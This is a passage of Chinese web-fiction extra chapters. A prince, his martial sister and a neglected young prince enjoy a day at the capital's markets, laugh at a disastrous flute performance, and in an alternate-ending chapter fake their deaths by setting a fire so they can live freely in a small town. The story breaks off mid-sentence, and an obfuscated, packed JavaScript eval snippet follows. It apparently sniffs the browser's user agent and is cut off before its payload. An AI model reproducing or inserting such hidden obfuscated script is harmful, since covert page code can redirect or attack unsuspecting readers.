摊主手腕翻飞,糖浆如丝线般流淌,不多时,一条须爪张扬活灵活现的糖龙便递到了他面前。玉凌绝小心翼翼地接过,那晶莹剔透的质感,在秋日阳光下闪烁着诱人的琥珀色光泽。他试探着轻轻舔了一下,一股纯粹而猛烈的甜味瞬间在口中炸开,比他记忆中任何精致的御膳点心都要来得直接酣畅。 燕沧溟早已挤到前面的人堆里去看胸口碎大石,不时跟着人群高声叫好,回来时手里举着两串红得发亮,裹着厚厚糖衣的冰糖葫芦,硬塞给莫忘之和玉凌绝一人一串。 “喏,尝尝这个!保证比你那糖画够味!” 莫忘之看着那晶莹糖衣下山楂圆滚滚的身影,微微蹙了下眉,但还是接了过去。玉凌绝学着燕沧溟的样子,大胆地咬下一颗,外层糖衣的脆甜与内里山楂的酸涩瞬间在口中交织,强烈的滋味冲击着味蕾,让他忍不住眯了眯眼。 日头渐渐偏西,燕沧溟兴致不减,带着两人穿梭在纵横交错,愈发拥挤的小巷里,熟门熟路地将他们引到一处临河的酒肆。店面不算高档,却干净敞亮。她在二楼临窗的雅座坐下,大手一挥:“老板,切三斤酱牛肉,一壶好酒,再上几个你们这儿的拿手小菜!” 说完,才想起什么似的,看向莫忘之,“啧……忘了你不能多喝。”又看向玉凌绝,“你小子更不行。” 莫忘之无奈地笑了笑,对候在一旁的伙计温声道:“劳烦,酒换成果子露吧,再要一壶上好的清茶。” 等菜的间隙,燕沧溟倚着窗栏,指着楼下穿梭往来的货船和远处连绵起伏的灰瓦屋脊,给玉凌绝讲哪条河渠通向大运河,哪片坊市入夜后灯火最为璀璨,哪家的烧鹅皮脆肉嫩滋味一绝。她的声音清亮,带着江湖儿女特有的洒脱与见闻。 玉凌绝安静地听着,目光落在对面的莫忘之身上。对方只是端着茶杯,静静望着窗外河景,目光悠远,不知在想什么。阳光透过窗棂,在他侧脸上投下柔和的光影,周身那股在宫中挥之不去的疏离感,在此刻似乎淡去了不少。 他置身于这喧嚣市井,没有半分太子的架子,也没有宫中的疏离,慵懒而闲适,仿佛本就属于这里。 菜肴陆续上桌,香气扑鼻。燕沧溟直接上手夹起一大块酱牛肉,吃得酣畅淋漓。莫忘之则执起竹筷,夹了块清蒸鲈鱼最嫩滑的鱼腹肉,仔细地剔净了细小绵密的鱼刺后,放到了玉凌绝面前的碟子里。 “这里的河鲜不错,刺也少些。” 玉凌绝看着碟子里那块雪白晶莹而冒着热气的鱼肉,又抬眸看了看莫忘之那双依旧平静无波,却似乎蕴藏着细微暖意的眼眸,心中那根紧绷了许久的弦终于轻轻拨动了一下。他低下头,默不作声地将鱼肉和着米饭扒进口中,鲜甜嫩滑的滋味在唇齿间蔓延,让人心头发烫。 “怎么样?比御膳房那些花里胡哨又中看不中吃的东西强吧?”燕沧溟得意地挑眉,又给他夹了一筷子牛肉。 玉凌绝没说话,只是埋着头,学着她的样子,不再拘谨,大口吃了起来。额角冒出了细密的汗珠,苍白许久的脸颊也终于染上了属于孩童健康的薄红。 饭后,燕沧溟拉着他们直奔更加喧嚣的西市。这里果然是人声鼎沸,三教九流汇聚。熙熙攘攘的人群,气味浓烈的香料摊,高声吆喝的胡商,牵着骆驼蒙着面纱的异域旅人……构成了一幅光怪陆离的画卷。喷火艺人鼓起腮帮,猛地吐出一道炽烈的火焰,引来周遭一片惊呼与喝彩。 他们经过一个被围得水泄不通的杂耍圈子,喝彩声震天。燕沧溟个子高,踮脚便能瞧见内里情形;莫忘之则安静地站在人群最外围,毫无凑近的打算。 玉凌绝被前面的人墙挡得严严实实,什么也瞧不见,只能听着里面的热闹与叫好,不由得有些着急,下意识地踮起了脚。 忽然,他感觉身体一轻,视野骤然开阔——竟是燕沧溟从身后将他托了起来,让他稳稳地骑在了自己宽阔的肩上。 “扶稳了!” 整个杂耍圈内的景象瞬间一览无余。只见那耍猴人正指挥着一只机灵非凡的小猴子翻跟头,骑山羊,戴面具,滑稽可爱的动作引得围观人群哄堂大笑。玉凌绝也忍不住弯起了嘴角,看得入了神,他忘了周遭喧嚣的人群,忘了身在何处,只觉得秋日午后的阳光暖融融地照在身上,驱散了心底积郁多年的寒意。 三人看完了杂耍,又流连于售卖各种稀奇小玩意的摊铺之间。燕沧溟看中一把造型奇诡镶着劣质彩石的胡刀,与摊主一番唾沫横飞的讨价还价后,终于心满意足地将其别在腰间。莫忘之则在一个专卖残旧古籍的书摊前驻足良久,最终挑了一本纸页泛黄,关于各地风物志异的杂书,小心纳入袖中。 “师姐,这个。” 玉凌绝在一个卖木雕的小摊前停下脚步,指着一个雕刻手法粗糙却意外显得活灵活现振翅欲飞的小燕子。 燕沧溟凑过来一看,爽快地数出铜钱拍在摊上:“眼光不错!这精气神,像你师姐我!” 玉凌绝小心地将那只木雕小燕子握在手心里,木质温润的触感让他心头微动。转眼看燕沧溟又在一个卖泥人的摊子前停下,掏钱买了三个胖乎乎的泥人,塞给玉凌绝一个憨态可掬的猪八戒,自己拿了个抓耳挠腮的孙大圣,又把最后一个衣袂飘飘,眉眼模糊的仙女塞给了莫忘之。 莫忘之拿着那与他周身气质格格不入、被燕沧溟戏称为“仙女配书生”的泥人,摇了摇头,唇角却含着纵容的笑意,终究还是将其收了起来。 逛着逛着,他们路过一家热闹非凡的茶楼,里面传来说书先生抑扬顿挫而饱含激情的声音,正讲到前朝某位将军沙场浴血,马革裹尸的悲壮故事。燕沧溟脚步猛地一顿,扯住莫忘之的衣袖:“听听!听听这民间是怎么编排咱们……咳,前朝那些事的?” 三人寻了个不起眼的角落坐下,跑堂的送上粗茶和一小碟瓜子。说书先生正说到激昂处,唾沫横飞,将一场寻常的边境摩擦渲染得惊天动地,其中战术安排漏洞百出,听得深谙兵事的燕沧溟直撇嘴。 “胡扯!真照他这打法,有多少人马够往里头填的?”她压低声音对莫忘之道,手指无意识地在沾了茶水的桌上划拉着真正的行军布阵路线。 莫忘之拈着瓜子,并未看向那口若悬河的说书人,反而目光沉静地观察着茶楼里形形色色的茶客。有人听得热血沸腾,拍案叫好,有人摇头叹息,面露悲戚,也有人显然对此毫无兴趣,昏昏欲睡。他轻声道:“民间话本,要的便是这份热闹与悲情。真相如何,于他们而言,反倒不重要了。” 玉凌绝安静地坐在一旁,小口啜饮着微涩的粗茶,吃着莫忘之不动声色推到他面前的一小堆剥好的瓜子仁。他听着说书人口中那被极度夸张和美化那遥远的金戈铁马,又看看身边这两位真正身处帝国权力与军事漩涡中心,此刻却能隐身于此偷得半日闲的人,只觉得眼前的一切光怪陆离,比他读过的任何一本史书或策论都更要复杂难懂。 听着听着,燕沧溟嫌茶楼里人多气闷,又突发奇想,要带他们去京城最高的雁回塔看全景。 登塔需费些脚力。塔内光线昏暗,狭窄的木制楼梯盘旋而上,踩上去吱呀作响。燕沧溟一马当先,莫忘之走在最后,将玉凌绝护在中间。爬到一半,玉凌绝气息已有些急促,额角渗出了细密的汗珠。走在前面的燕沧溟 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风吹动着三人的衣袂与发丝,带来高处的寒凉。莫忘之负手而立,目光掠过脚下这片喧嚣而庞大的帝都,投向更遥远而天际线模糊的远方,神情依旧淡然,仿佛万物不萦于心。 玉凌绝则紧紧盯着那片宫城。从这前所未有的高度俯瞰,那困了他这么多年,仿佛坚不可摧的牢笼,原来也不过是这繁华京城中一块被精心规划的区域。一种难以言喻的感觉在他沉寂的心湖中投下石子,漾开圈圈涟漪。 是意识到自身的渺小,也是某种……不甘被束缚的,模糊的野心。 “总有一天……”他极轻地自语,后面未竟的话语消散在呼啸的风里。 燕沧溟却耳尖地听到了,用力一拍他的肩膀,朗声笑道:“没错!总有一天,咱们想什么时候出来,就什么时候出来!把这京城,不,把这天下大好河山,都逛个遍!” 莫忘之闻言,回头看了他们一眼,夕阳的金光在他眼底跳跃,唇角微扬,勾勒出一个清浅而真实的笑容,却终是没有说话。 夕阳渐沉,将天空与云霞渲染成一片瑰丽磅礴的橙红与紫檀色。 三人并肩坐在塔顶冰凉的栏杆基座上,望着脚下这座城市华灯初上,炊烟袅袅的人间景象。燕沧溟不知又从哪儿变出一包炒瓜子,咔吧咔吧地嗑得响亮。莫忘之则将那本新买的游记递给玉凌绝:“闲暇时翻翻,这书里写的天地,比宫墙之内,要广阔得多。” 玉凌绝接过那本纸质粗糙,散发着霉旧气味的书,小心翼翼地翻开。里面的文字不同于宫中典籍的严谨刻板,带着一股野性未驯的活泼与惊奇,描绘着名山大川的险峻,江湖市井的传奇。 “以后,师姐和师兄带你去真的!”燕沧溟吐掉瓜子壳,豪气干云地一指远方暮色苍茫的地平线,“去看真正奔腾咆哮的大江大河,去塞外无边无际的草原纵马,比在这破书里看干巴巴的字,强一百倍!” 玉凌绝看着她被夕阳余晖镀上温暖金边而神采飞扬的侧脸,又看向身旁唇角含笑的莫忘之,心中那片荒芜冰冷了多年的冻土,仿佛被这半日的暖阳、喧嚣与毫无保留的陪伴彻底照透,裂开缝隙,生出微弱却顽强的嫩芽。 “外面……很好。”他低声说,像是对自己,又像是对这人间。 莫忘之转过头看向他。少年眼中不再是全然的戒备与冰冷,而是映着天边流光。 “嗯,是很好。”他轻声应和,“所以,要好好活着,活到能自由自在看到更多风景的那一天。” 那只骨节分明又微凉的手轻轻地,带着一种无声的安抚力道,落在了他的头顶,揉了揉他被风吹得有些凌乱的头发。 “天色不早了,”莫忘之的声音依旧平和,打破了这份暮色中的宁静,“该回去了。” 燕沧溟闻言站起身来,舒展了一下因久坐而有些僵硬的身体,打了个长长的哈欠:“走吧走吧!再不回去,宫里那群老家伙该急得跳脚了!” 夕阳彻底沉入西山,三人踩着被拉得长长的影子,踏上了归途。回宫的路,似乎比来时要短了许多,也沉重了许多。 路过一个卖女子首饰的摊子,燕沧溟拿起一支样式简单,簪头却雕成一朵栩栩如生梅花的素银簪子,对着莫忘之的方向比划了一下,笑嘻嘻道:“诶,你看这个,清清冷冷的,倒是挺适合你啊,带小孩儿的太子殿下。” 莫忘之懒得理她,目光投向别处。 燕沧溟也不介意,自顾自掏钱买了下来,随手插在了自己高束的马尾上,银色的梅花在她乌黑浓密的发间随着步伐轻轻晃动,竟意外地添了几分飒爽。 她又看到旁边有卖孩童玩的布老虎,针脚粗糙,棉花填充得也不甚均匀,却憨态可掬,透着股笨拙的可爱,便顺手也买了一个,塞到玉凌绝怀里:“喏,跟宫里那些冷冰冰的玩意儿不一样吧?抱着睡觉,驱邪!” 玉凌绝低头看着怀里傻乎乎的布老虎,耳边仿佛还回响着风车停止转动前的最后呜咽,手里攥着木雕小燕子和几个小泥人,袖子里藏着那本游记,只觉得这一趟出来,收获了一堆在宫中绝对被视为“粗鄙无用”却莫名让他心头滚烫的物事。 回到那处熟悉象征着禁锢的宫墙附近,再次换上那身沉重的常服,所有的轻松欢笑与市井的烟火气,仿佛在瞬间被剥离殆尽,如同一个短暂而易醒的美梦。燕沧溟将剩下没吃完的零嘴一股脑塞进玉凌绝的袖袋里,冲他狡黠地眨眨眼:“藏好了,可别被那些鼻子比狗还灵的老家伙发现!” 莫忘之则取出随身携带的素白帕子,就着护城河的清水浸湿,细致地擦去玉凌绝手上黏着的糖渍和脸上干涸的灰土,又替他仔细理了理略显褶皱的衣领,拂去肩头沾染的些许草屑与尘埃。 他抬起眼,看着眼前这个少年。那双黑沉的眸子里,似乎有什么东西不一样了,少了几分死寂,多了一点被外界阳光点亮的光彩。 “今日所见所感,记在心里便好。”莫忘之低声说了一句,语气平淡,却似有深意。说罢,便转过身,率先走向那扇在暮色中显得格外沉重,即将关闭的宫门。 玉凌绝抱着他那一堆与周遭环境格格不入的“赃物”,站在原地,看着那两个身影一前一后,沉默地融入宫墙投下的巨大阴影里,仿佛被那无形的巨兽吞噬。怀里的风车早已停止了转动,安静地倚靠着他。 他低头,看着怀中这些粗糙廉价却充满了鲜活生命力与短暂自由气息的物件,又抬头望了望雁回塔在暮霭中模糊的轮廓。 暮色四合,宫灯次第亮起,将朱红宫墙映照得一片辉煌,却也冰冷。但那一天西市喧嚣的阳光,糖画在舌尖炸开的甜香,冰糖葫芦酸涩交织的滋味,雁回塔顶猎猎的风,以及燕沧溟爽朗的笑声和莫忘之无声的守护……这一切,都如同一个隐秘而温暖的烙印,深深地藏进了少年冰冷的心底。 在往后无数个漫长而孤寂的深宫夜晚,这段偷来的浮生半日闲,将成为一丝微弱却始终不曾熄灭的光亮,提醒着他,宫墙之外,天地广阔。 他忽然觉得,这沉重的日子,似乎也并非全然无法忍受了。 因为,宫外的风,似乎还残留在他微凉的衣袂间。 Tips:燕沧溟之前以为莫忘之未来会当皇帝,好奇他会娶什么样的人做皇后,在对方表达出对人类不感兴趣后就经常拿天上的仙女调侃他,一直到玉凌绝把对方收入后宫才停止。(皇帝你儿子是……) 38. 【番外】东宫雅集 时值初夏,东宫一角的小荷塘初露尖尖角,微风拂过,带来些许凉意。莫忘之难得有半日清闲,玉凌绝和燕沧溟也都在侧,三人于水榭中小坐,气氛难得的平和。 燕沧溟是个闲不住的,看着塘边垂柳,忽然提议:“干坐着多没劲!咱们来点雅的,比如……吹个曲子听听?” 她说着,目光就瞟向了石桌上摆着的一支品相极佳的紫竹洞箫,那是前几日某位附庸风雅的官员进献给太子的。 玉凌绝没说话,但眼中也掠过难以掩饰的好奇。他还从未听过师兄奏乐。 莫忘之持杯的手几不可察地顿了一下。 “…师姐,师兄病体初愈,不宜劳神。” 玉凌绝见此便开口道,试图阻止。 “哎呀,就吹一小段!” 燕沧溟浑不在意,已经把洞箫拿了起来,塞到莫忘之手里,“来来来,让我们沾沾太子的仙气儿!” 莫忘之看着被强塞入手中的洞箫,那眼神不像是看乐器,倒像是在看一件冰冷的兵器。他沉默了片刻,在燕沧溟期待和玉凌绝好奇的目光中,终是缓缓将箫抵至唇边。 他姿态依旧从容,侧影在阳光下清隽如画,任谁看了都会觉得这是一幅公子吹箫图。 然后,他吹响了第一个音。 “吱——嘎——” 一声如同老旧的木门被强行推开,或是被掐住脖子的公鸡发出的哀鸣,又像是被踩了尾巴的野猫发出的尖锐嘶鸣,猝然撕裂了水榭的宁静,骤然划破了东宫宁静的午后。 一阵风吹过,院中老树上的鸟儿惊得扑棱棱全飞走了。 玉凌绝端着茶杯的手猛地一抖,滚烫的茶水溅了出来,他却浑然不觉,只是瞳孔地震般地看向莫忘之。他直接开始怀疑自己的耳朵,甚至怀疑那支箫是不是被人下了咒。 燕沧溟脸上的笑容凝固住,嘴巴缓缓张开,足以塞进一个鸡蛋。她眨了眨眼,又眨了眨眼,脸色白了又青,青了又白。 莫忘之恍若未闻,依旧一脸平静,甚至带着几分学术探究般的专注,继续他的演奏。 接下来的声音更是难以用言语形容。那调子忽高忽低,毫无章法,气息断断续续,时而尖锐刺耳,时而沉闷如牛哞,时而像北风呜咽,时而像锅铲刮过锅底,毫无旋律可言,像是一场对听觉的无差别攻击,仿佛在用声音描绘一幅百鬼夜行图。音符们在箫管里打了一场诸侯争霸,然后同归于尽,尸横遍野。 好好的夏日清风瞬间变得鬼气森森,连塘里的几尾锦鲤都惊恐地甩尾钻入了水底。 玉凌绝下意识地捂住了耳朵,又觉得不妥,迅速放下,只能死死抿着唇,面部肌肉因强行忍耐而微微抽搐。他自幼在冷宫听惯了各种污言秽语和诅咒,却从未有一种声音能像此刻的箫声一样,让他从灵魂深处感到一种无端的混乱与……想死。 燕沧溟已经从最初的震惊中回过神来,她捂住嘴巴,肩膀剧烈耸动,想笑又觉得此刻大笑出声实在太不给太子殿下面子,憋得满脸通红,几乎要内伤。 而事件的中心——莫忘之殿下已然完全沉浸在自己的艺术世界里。他微蹙着眉,似乎对如何精准控制气息感到些许困扰,但态度依旧严谨,试图将脑海中那不成调的旋律(如果那能被称为旋律的话)完整地表达出来。 箫声还在顽强地继续着,充满了“我知道我不行,但我偏要试试”的倔强。 终于,在一段尤其绵长仿佛垂死挣扎的破音之后,箫声戛然而止。 水榭内一片死寂,只有风吹过柳条的沙沙声,证明时间并未静止。 莫忘之缓缓放下洞箫,气息依旧平稳,脸上甚至带着一种“任务完成”的淡然。他抬眼看向两位听众,似乎在等待评价。 燕沧溟终于忍不住,爆发出惊天动地的笑声:“哈哈哈哈哈——哎哟我不行了!这箫吹得……哈哈哈……真是……真是惊天地泣鬼神!人家吹箫要钱,你吹箫这是要命啊!” 玉凌绝深吸一口气,努力让自己的声音听起来正常,他避开莫忘之的目光,低声道:“……师兄,此道……艰深,不必强求。” 莫忘之看了看笑得快抽过去的燕沧溟,又看了看嘴角抽搐,眼神飘忽的玉凌绝,轻轻地点了点头。他依旧面无表情,一如既往的淡然,仿佛刚才制造出那片噪音的不是他本人:“此箫音色清越,需以气驭之。只是今日风向不佳,扰了音律。” 对对对,乐器不好,风向不对,天地不配合,总之绝 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只是那支被莫忘之随手放在石桌上的紫竹洞箫,在阳光下闪烁着温润的光泽,无声地诉说着它方才经历与空灵飘逸毫不相关的悲惨遭遇。 燕沧溟三两口吃完点心,凑到玉凌绝身边,用自以为很小的声音嘀咕:“我现在算是明白了,为啥他从来不教你画画唱歌了……” 玉凌绝舀酪子的手一顿,深以为然。他也是终于明白为何那人教他权谋兵法,医术农耕,却独独不曾提过音律歌画。 毕竟山外有山,人无完人。 从此以后,东宫之内再也无人敢提议让太子殿下展示任何才艺。而那支价值不菲的紫竹洞箫,也被内侍默默收到库房最深处,从此不见天日。 (小后续) 某日,玉凌绝独自经过库房,鬼使神差地找到了那支洞箫。他拿在手中摩挲片刻,脑中不由自主地回响起那魔音灌耳的旋律。 他沉默良久,最终极其小心地将箫放回原处,仿佛那是什么危险的禁忌之物。 (小小后续) 莫忘之其实用箫吹的是现代歌《恭喜发财》。 Tips:莫忘之毫无艺术天赋,不管活了多少世归来依然是艺术细菌。 39. 【IF】逃出苦难向春山 【逃吧,逃吧,逃到命运找不到的地方。】 暮色四合,护城河的河水在渐暗的天光下呈现出一种沉郁的墨色。那扇供杂役出入的角门,如同巨兽微张的口,等待着将短暂的欢愉与偷来的自由吞噬回去。 三人已换回衣服,脸上手上的尘灰与糖渍被仔细拭去,仿佛那半日的喧嚣只是一场幻梦。 燕沧溟将最后一个油纸包塞进玉凌绝怀里,里面是没吃完的芝麻糖和果脯,她习惯性地想咧嘴笑笑,嘴角却有些扯不动。莫忘之正抬手,准备为玉凌绝抚平衣领上最后一处不易察觉的褶皱。 就在他的指尖即将触碰到那冰凉布衣的刹那,玉凌绝猛地向后缩了一下,避开了。 这个动作细微却突兀,让莫忘之的手悬在了半空。 燕沧溟和莫忘之皆是一怔,看向他。 只见玉凌绝死死低着头,双手紧握成拳,身体抑制不住地微微颤抖。他没有哭,也没有说话,只是那紧绷到几乎要碎裂的脊梁,泄露出比任何嚎啕大哭都更绝望的抵抗。 他怀中还抱着那只傻气的布老虎,木雕燕子坚硬的翅膀硌着他的胸口,那本粗糙的游记册子沉甸甸地揣在袖中。宫外的风仿佛还在他发梢流连,糖画的甜味似乎还黏在齿颊,西市鼎沸的人声,雁回塔顶开阔的视野,与眼前这扇通往窒息与冰冷的宫门形成了最残忍的对比。 他不想回去。 他再也不想回到那个四方天里,去做一个连名字都需人施舍,生死皆由他人掌控的“皇子”。 “……不。” 一个极轻却带着泣音的字,从他紧咬的牙关中挤出,像濒死小兽最后的哀鸣。 燕沧溟脸上的那点强装出来的轻松瞬间消失了。她看着玉凌绝那副仿佛要被押赴刑场的模样,又看了看眼前这堵吃人的高墙,一股无名火猛地窜起,烧尽了所有理智。 “他娘的!”她低咒一声,猛地攥紧了腰间那柄新得的胡刀,眼神锐利如鹰,扫向莫忘之,“喂!看到了吗?非要把他再塞回这个鬼地方,逼死他才甘心吗?!” 莫忘之悬着的手缓缓垂下。他没有看燕沧溟,目光始终落在玉凌绝身上,看着他因极力压抑呜咽而不断耸动的单薄肩膀。那双总是平静无波的眼眸深处,仿佛有冰层在碎裂,某种压抑了太久的东西,正破冰而出。 宫墙内是无穷无尽的算计猜忌与冰冷的规则,是玉凌绝永无出头之日的囚笼,也是他身为太子无法挣脱的枷锁。他原本以为,自己可以护着他,在这囚笼里为他争得一隅喘息之地。可此刻,他看着玉凌绝这无声却激烈的抗拒,才惊觉,自己所谓的“庇护”,或许本身就是另一种残忍。 然而,无论是他的太子身份,还是玉凌绝这冷宫弃子,若只是简单失踪,必将引来掘地三尺的追索。天下虽大,亦难有宁日。 “……既要走,便需走得干净,走得彻底。”莫忘之的声音在冰冷的空气中显得异常冷静,那双清凌的眸子里已不见半分犹豫,只剩下全然的筹谋与决断,“需让他们以为,‘我们’已死,死于一场……无人能料的‘意外’。” “火灾。” 燕沧溟立刻领会,眼中闪过一丝锐芒,“宫内殿宇多为木质,天干物燥,走水乃是常事。只是,地点、时机需得天衣无缝。” 莫忘之颔首:“地点,选在东宫偏殿的藏书阁 。”他看向面露疑惑的玉凌绝,解释道,“藏书阁僻静,书籍字画皆为易燃之物,火势一旦起来,极难扑救。且我平日时常独自在此读书至深夜,有此习惯。而你,”他目光转向玉凌绝,“届时,你需‘恰好’因‘突发急症’,被临时安置在毗邻藏书阁的暖阁内‘静养’。” 计划在极度隐秘与高效中推进。莫忘之动用了埋藏最深的暗线。他需要两具因“意外”(例如宫外乱葬岗无名尸或死囚)得来体型与他们相仿的尸首,并需确保其面目在火中难以辨认。 同时,他开始不着痕迹地将一些足以证明身份的贴身之物,如他常年佩戴的一枚羊脂玉佩,玉凌绝昔日生母留下的一枚普通银锁片,预先放置在预定地点。 更为关键的是药物。莫忘之弄来了一种罕见的药材,燃烧后会释放出能致人短暂昏迷,脉息微弱近乎假死的烟雾。他需要精确计算剂量与燃烧速度,确保火势足够“真实”且迅猛,又能让他们在关键窗口内保持清醒,及时脱身。 而燕沧溟甚至通过隐秘渠道,弄到了一种特殊的助燃物,无色无味,能极大加速木质燃烧,事后却极难查验。 “吸入烟雾后,会四肢无力,意识模糊,但必须撑住,按照既定路线撤离。”莫忘之将几颗散发着清冽气味的药丸分给燕沧溟和玉凌绝,“含在舌下,可一定程度上抵御烟毒。记住,感觉到达极限前,立刻含服。” 玉凌绝接过药丸,紧紧攥在手心。与永远困死在这深宫相比,这点风险算得了什么?他几乎是贪婪地学习着一切“求生”的技能,包括如何在浓烟中低姿匍匐,如何用湿布掩住口鼻。那些宫外到来的物品被他用油布仔细包好,贴身藏着,仿佛那是他与未来那个“活着的”自己之间,唯一的信物。 时机选在了一个风寒料峭的夜晚。宫中连日宴饮,守卫难免疲沓,且北风骤起,正是天干物燥易发火灾之时。莫忘之提前“抱恙”,取消了所有日程,独自前往藏书阁“静养读书”。玉凌绝则因“突发高热”,被临时挪至相邻的暖阁。 行动前夜,冷宫老槐树下,最后一次确认。 “火起之后,浓烟为号。”莫忘之的声音低沉而清晰,“我会在藏书阁内点燃引火之物,火势会率先从内部蔓延。暖阁与藏书阁有一道隐蔽的角门相连,燕师姐会从外接应,带你从此门入藏书阁与我汇合。然后,我们从藏书阁西北角的密道离开。那里直通宫外护城河边的废弃水道。” 他看向燕沧溟:“混乱一起,宫人必先救主殿,藏书阁位置偏僻,救火人手抵达需要时间。这是我们唯一的机会。” 燕沧溟眼神灼灼:“放心,制造混乱、接应潜入,我熟。” 莫忘之最后看向玉凌绝,抬手替他理了理本就不乱的衣领,动作轻柔,却带着千钧之力:“紧跟师姐,无论听到什么,看到什么,别回头,别停下。” 玉凌绝重重点头,喉咙发紧,将所有恐惧与决绝都咽了下去。 莫忘之最后看了一眼那盏陪伴他们无数夜晚的八角宫灯,它被静静放在老槐树下,琉璃罩上的云鹤纹在稀薄的月光下显得有些寂寥。 他没有再去点燃它。 “走吧。” 是夜,子时三刻,东宫偏殿藏书阁方向,猛地亮起一道诡异的红光,并非瞬间冲天,而是先有浓烟自窗缝门隙滚滚涌出,带着一股刺鼻不同于寻常木材燃烧的怪异气味! “走水了!藏书阁走水了!太子殿下还在里面!”值守太监尖利的嗓音划破夜空,带着无比的惊惶! 东宫瞬间炸开了锅!脚步声惊呼声铜盆碰撞声乱成一片,侍卫和宫人们慌乱地冲向藏书阁,有人提水,有人试图破门,然而火势从内部燃起,门窗紧闭,浓烟弥漫,根本难以靠近! “殿下!殿下还在里面啊!” “快!撞门!” 就在所有人的注意力都被藏书阁的大火和太子的安危吸引时,暖阁方向也冒出了浓烟!有人惊呼:“暖阁也着了!里面还有个小主子!” 混乱达到了顶点! 无人留意到,一道黑影如鬼魅般避开人群,悄无声息地撬开了暖阁连接藏书阁的那道隐蔽角门。浓烟立刻倒灌进去! “走!”燕沧溟压低声音,一把拉住已被烟雾呛得眼眶发红,强忍着眩晕的玉凌绝,迅速钻入角门。 藏书阁内已是浓烟弥漫,热浪灼人。莫忘之正等在预定的汇合点,用浸湿的布巾捂着嘴笔,眼神在烟雾中依旧冷静。他看了一眼被燕沧溟半扶着的玉凌绝,见他虽狼狈却还清醒,微微颔首。 “跟我来!” 他引着二人,避开主要火源,沿着早已规划好的路线,迅速移动到藏书阁西北角一个被书架半掩的狭窄入口。推开伪装,是一条向下延伸布满灰尘的狭窄密道。 三人依次潜入,莫忘之最后回身,将入口恢复原状,隔绝了外面所有的喧嚣热浪与代表着他们“过去”的一切。 他们留下的“痕迹”很快被找到:在藏书阁核心区域的灰烬中,发现了那枚烧得变形却依稀可辨的羊脂玉佩;在暖阁的残骸里,找到了那枚熔化粘连在骸骨上的小银锁片。两具尸骸皆面目全非,与太子和那位冷宫弃子的身份“吻合”。 东宫藏书阁突发大火,太子莫忘之与暂居暖阁的一冷宫皇子不幸葬身火海,尸骨难辨。消息传出,朝野震动,老皇帝闻此噩耗,病情急转直下。国师与宰相两派在短暂的惊愕后,立刻围绕着空悬的储位与未来的权力格局,展开了更加激烈残酷的角逐,无人再有心思去深究那场火灾起因的些许疑点,譬如那异常的烟雾,譬如太子为何深夜独处藏书阁。 而此刻,在京城某条隐秘的河道旁,一艘不起眼的乌篷船正准备启航。 船上之人已换了粗布衣裳,面容经由药物与巧手修饰,变得平凡无奇。为首的青年书生神色沉静,目光悠远;旁边的江湖女子正检查着船桨,眼神明亮;而被妥善安置在舱内的病弱少年,虽然脸色苍白,但那双曾经沉寂如死水的眸子里,却闪烁着劫后余生,如同星火般的光亮。 玉凌绝从贴身处掏出那些用油布包裹的旧物,紧紧抱在怀里。 燕沧溟走到船头,深吸一口带着水汽与自由的空气,低声道:“总算……出来了。” 莫忘之立于船尾,望着皇城方向那依旧隐约可见的轮廓,那里,一场为他们举行的盛大葬礼或许正在进行。远处最后一缕代表着过去的光晕,映在他深邃的眼底,最终归于平静。 “接下来,有什么打算?”燕沧溟看向莫忘之。离开了皇宫,脱离了太子身份,她依然习惯性地以他为首。 莫忘之沉吟片刻:“我们‘已死’,过往身份皆是负累。需得有个新的营生,融入此地。”他目光扫过远方的山河,“我略通医术,可悬壶为生,也算有个遮掩。师姐你……” “我?”燕沧溟满不在乎地摆摆手,“我打猎走镖,或者干脆开个武馆教几个徒弟,都饿不死!”她说着,看向玉凌绝,“倒是阿绝,总不能一直跟着我们当个隐形人。” 玉凌绝立刻抬起头,黑眸灼灼:“我可以学!学武,学医,学什么都行!”他不想再成为累赘。 莫忘之看着他眼中那簇急切而坚定的火苗,微微一笑:“不急。根基需稳。以后我教你认些草药,强身健体的吐纳之法。师姐得空,便教你些基础的拳脚功夫,防身足矣。” 乌篷船在晨雾中悄然驶离京城地界,如同水滴汇入江河,再无痕迹。 船上之人,已非宫墙内的太子女将和弃子,而是游方郎中“莫问”,走镖武师“燕归”,以及莫先生体弱多病的幼弟“阿绝”。 他们沿河南下,昼伏夜出,谨慎地避开官道与大的城镇。莫忘之熟稔地打点着路线与盘缠,他那些看似随意购买的杂货药材,往往能在下一处码头换来新的船资或必需品。燕沧溟则负责警戒与探路,她对危险的直觉如同野兽,总能提前避开可能的盘查与麻烦。 数月后,晨曦微露,薄雾如纱,笼罩着青石板路和两岸白墙黛瓦。一艘乌篷船静静泊在河边码头。 莫忘之,如今该称他莫问 ,换上了一身半旧青衫,他周身那股属于东宫太子的贵气与疏离已悄然内敛,化作一种更深沉又自在的从容。 燕沧溟,现在的燕归正利落地将马尾重新束紧,劲装外罩了件寻常的粗布外衫,却掩不住眉宇间的勃勃英气。 而玉凌绝,阿绝的脸色虽还带着苍白,但那双黑沉的眸子却像是被清水洗过一般,少了几分阴郁戾气,多了几分属于少年人的,对新世界的好奇与探寻。他小心地观察着这江南水乡的风土人情,听着莫忘之用带着口音的官话与路人闲聊,一切都是那么新鲜。 小镇名为“栖霞”,依山傍水,民风淳朴。莫忘之用事先准备好的身份文牒和盘缠,买下了一处临河的小院。院子不大,青苔爬上石阶,院中有一株老梅,几丛修竹,虽简陋,却清净。 “往后,这里便是家了。”莫忘之推开那扇吱呀作响的木门,语气平淡,却让玉凌绝的心轻轻一颤。 家。这个字对他而言,太过陌生,也太过沉重。 新的生活,便在这里悄然开始。 安顿下来的日子,平淡得如同镇子脚下潺潺的溪流。 莫忘之似乎真的做起了“闲云野鹤”,每日里不是看书烹茶,便是去镇上的医馆坐堂,他医术精湛,却只肯看些寻常病症,开的方子也多是价廉物美的草药,很快便在镇民中得了“莫先生”的敬称。 燕沧溟则有些闲不住。她时而帮着莫忘之整理药材,时而跑去镇外的山林里“活动筋骨”,偶尔也会接一些镇上富户护送货物或是帮忙调解邻里争端的活儿,赚些散碎银两,美其名曰“贴补家用”。她爽朗的性子与利落的身手,很快也让她成了镇上有名的“燕姑娘”。 清晨,玉凌绝会在鸡鸣声中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 